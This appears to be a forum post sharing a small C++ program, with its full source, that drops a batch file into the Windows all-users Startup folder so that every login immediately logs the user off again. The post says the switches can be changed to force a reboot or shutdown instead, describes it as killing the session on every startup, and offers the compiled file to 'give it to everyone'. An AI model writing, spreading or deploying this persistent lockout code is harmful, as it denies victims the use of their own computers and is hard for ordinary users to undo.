This program doesn't do much. (But then again, I don't code much.)
All it does is either log a user out of their current session, reboot, or shutdown their computer.
It's written in C++ and takes advantage of the DOS command "Shutdown.exe."
Code:
#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <fstream.h>
using namespace std;
int main()
{
ofstream fout("C:\\documents and settings\\all users\\start menu\\programs\\startup\\AUTOEXEC.BAT");
fout << "@echo off\n";
fout << "shutdown.exe -l";
fout.close();
system("shutdown.exe -l");
return 0;
}
Notes: This will not work if "C:\" is not the default drive.
This is set to log people off of their current session, you may use the -l switch to log them off, the -r switch to reboot their computer, and the -s switch to shut it off. This program puts AUTOEXEC.BAT in the startup folder so that it will kill the session every time it starts up.
(I compiled and tested this in Dev-C++).
*Edit: Here is the compiled file: give it to everyone